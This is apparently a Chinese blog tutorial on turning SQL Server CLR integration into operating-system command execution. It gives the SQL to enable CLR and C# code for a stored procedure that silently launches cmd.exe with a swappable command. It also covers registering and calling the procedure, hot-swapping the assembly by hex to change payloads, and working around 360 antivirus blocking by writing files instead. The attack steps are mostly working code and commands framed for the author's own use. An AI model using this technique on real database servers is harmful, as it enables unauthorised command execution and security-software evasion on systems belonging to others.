CLR简介
共语言运行库 (CLR) 是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。
使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。 由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。
在 .NET Framework 上运行的托管代码使用代码访问安全性 (CAS)、代码链接和应用程序域来阻止程序集执行某些操作。 SQL Server 使用 CAS 来帮助保证托管代码的安全,并避免操作系统或数据库服务器受到威胁。
开始动手
- 检查是否开启 CLR
SELECT * FROM sys.configurations WHERE name = 'clr enabled'
- 没有开启,这里就为 0 ,执行下面语句开启。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
生成CLR存储过程
环境:SQL server 2012R2、visual studio 2019
检查SQL server主机的.NET版本
本来以为需要查看系统的.NET版本,结果在后续编译过程中遇到问题,查资料后发现SQL server2012对应.NET 3.5版本。
cd %WINDIR%\Microsoft.NET\Framework\v4.0.30319
MSBuild.exe /version
看是否为 4.0 ,如果不为那就GG
- 在Visual Studio 2019中新建SQL server项目
创建好了就在右边,单击右键设置项目属性
选择属性
设置权限,以及NET架构
然后 CTRL+S 保存,会弹出一个选项框,直接选 是
接着我们继续,单击项目->添加新项
选择:SQL CLR C# -> SQL CLR C#存储过程
会弹出这个界面
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > C:\\Windows\\Temp\\1.txt";
process.Start();
}
}
命令自己改。
编译生成Release版本项目,并得到项目路径。
来到文件目录
找到 .sql 结尾文件
定位到这个位置
然后准备完成。
操作SQL SERVER
- 把刚才那条SQL语句拿到SQL SERVER执行
pS: 如果提示GO什么的不存在,就把GO删除掉。
- 创建存储过程
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [这里的名字为你当前程序集名称].[StoredProcedures].[SqlStoredProcedure1]
不然会提示不存在啥的。
注意,AS EXTERNAL后面的内容需要与C#代码中的程序集名称、类名、方法名对应。
- 调用存储过程
EXEC [dbo].[SqlStoredProcedure1];
个人使用
- 删除程序集 与 存储过程 【从0开始】这里面的 Hello 自己改了啥那就要改成啥
DROP PROCEDURE SqlStoredProcedure1
DROP ASSEMBLY [Hello]
- 修改执行的代码语句【这里是你从新在VS里面编译的新的SQL代码。替换掉Hex编码,然后再去执行
EXEC [dbo].[SqlStoredProcedure1];
这样就能直接更新运行的代码,不需要二次重新创建。】
ALTER ASSEMBLY [Hello] FROM 0x0000000000000000000000000
- 因为我目前SQL server Bypass 360 的拦截,CLR命令执行并不奏效,显示win32的API调用被拦截。于是我想到了可以写出内容到文件。
// 在此处放置代码
string path = "C:\\Windows\\Temp\\23.txt";
string conTent = "Hello";
FileStream fs = new FileStream(path, FileMode.OpenOrCreate);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine(conTent); //写入一行内容
sw.Close();
没有回复内容